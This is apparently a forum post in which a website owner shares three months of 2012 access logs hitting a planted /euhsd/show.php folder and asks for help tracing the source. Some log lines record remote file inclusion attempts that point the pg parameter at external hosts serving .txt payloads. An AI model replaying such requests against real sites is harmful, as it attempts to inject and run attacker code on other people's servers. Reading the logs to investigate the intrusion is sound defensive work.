code:
157.55.48.122 - - [08/Jun/2012:17:42:44 -0400] "GET /euhsd/show.php?pg=782070782070 HTTP/1.1" 404 2757 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b"
187.40.24.226 - - [18/Jun/2012:17:05:03 -0400] "GET /euhsd/show.php?pg=http://wikiteca.iesb.br/wikiteca/NewDir/opa.txt? HTTP/1.1" 404 2716 "-" "Mozilla/3.0 (compatible; Indy Library)"
157.55.109.246 - - [20/Jun/2012:07:51:12 -0400] "GET /euhsd/show.php?pg=782070782070 HTTP/1.1" 404 2764 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b"
200.243.30.2 - - [22/Jun/2012:16:05:18 -0400] "GET /euhsd/show.php?pg=http://www.uniaogaucha.org/images/galeria/ab2k1/upx.txt? HTTP/1.1" 404 2653 "-" "-"
186.194.6.158 - - [24/Jun/2012:10:23:14 -0400] "GET /euhsd/show.php?pg=http://euribors.com/send.txt? HTTP/1.1" 404 2678 "-" "Mozilla/3.0 (compatible; Indy Library)"
95.132.186.112 - - [27/Jun/2012:16:03:14 -0400] "GET /euhsd/show.php?pg=344465344465 HTTP/1.1" 404 3006 "http://extrabot.com/help/tratygajiruboha.htm" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0"
95.132.186.112 - - [27/Jun/2012:16:03:15 -0400] "GET /euhsd/show.php?pg=344465344465 HTTP/1.1" 404 3006 "http://extrabot.com/help/tratygajiruboha.htm" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0"
95.132.186.112 - - [27/Jun/2012:16:03:17 -0400] "GET /euhsd/show.php?pg=344465344465 HTTP/1.1" 404 3006 "http://extrabot.com/help/tratygajiruboha.htm" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0"
157.55.48.122 - - [06/Jul/2012:05:56:07 -0400] "GET /euhsd/show.php?pg=782070782070 HTTP/1.1" 404 2726 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b"
157.55.109.245 - - [08/Jul/2012:04:14:05 -0400] "GET /euhsd/show.php?pg=650642650642 HTTP/1.1" 404 2758 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b"
78.158.11.226 - - [12/Jul/2012:09:30:07 -0400] "GET /euhsd/show.php?pg=344465344465 HTTP/1.0" 404 2857 "http://sameid.net/domain/yetanothersig.com/" "Lynx/2.8.5rel.1 libwww-FM/2.14FC SSL-MM/1.4.1b OpenSSL/0.9.7d-dev"
157.55.109.245 - - [13/Jul/2012:19:44:22 -0400] "GET /euhsd/show.php?pg=897130897130 HTTP/1.1" 404 2758 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b"
94.23.225.68 - - [22/Jul/2012:08:22:11 -0400] "GET /euhsd/show.php?pg=853806853806 HTTP/1.1" 404 2642 "-" "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0"
94.23.225.68 - - [22/Jul/2012:08:22:11 -0400] "GET /euhsd/show.php?pg=853806853806 HTTP/1.1" 404 2642 "-" "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0"
157.56.93.231 - - [25/Jul/2012:08:16:53 -0400] "GET /euhsd/show.php?pg=650642650642 HTTP/1.1" 404 2763 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b"
157.56.93.226 - - [26/Jul/2012:08:58:55 -0400] "GET /euhsd/show.php?pg=782070782070 HTTP/1.1" 404 2761 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b"
157.56.93.218 - - [26/Jul/2012:19:54:45 -0400] "GET /euhsd/show.php?pg=897130897130 HTTP/1.1" 404 2761 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b"
199.187.122.90 - - [27/Jul/2012:22:11:03 -0400] "GET /euhsd/show.php?pg=344465344465 HTTP/1.1" 404 2727 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
189.48.123.38 - - [03/Aug/2012:12:44:44 -0400] "GET /euhsd/show.php?pg=http://wikiteca.iesb.br/wikiteca/newdir/opa.txt?&&r=s& HTTP/1.1" 404 2643 "-" "-"
94.23.225.68 - - [05/Aug/2012:19:19:03 -0400] "GET /euhsd/show.php?pg=782070782070 HTTP/1.1" 404 2642 "-" "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0"
94.23.220.161 - - [06/Aug/2012:16:05:55 -0400] "GET /euhsd/show.php?pg=853806853806 HTTP/1.1" 404 2612 "-" "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0"
94.23.225.68 - - [19/Aug/2012:00:04:21 -0400] "GET /euhsd/show.php?pg=594585594585 HTTP/1.1" 404 2642 "-" "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0"
the folder /euhsd/ was a malicious folder of files placed on my webserver a few years back when I got a virus that copied my FTP password. I have noticed that it still tries to get a lot of attention. I only looked through 3 months of logs, but I could go back more if needed. Is it possible to help track down what the source of this is? And no, I did not keep a copy of the files that were in the folder.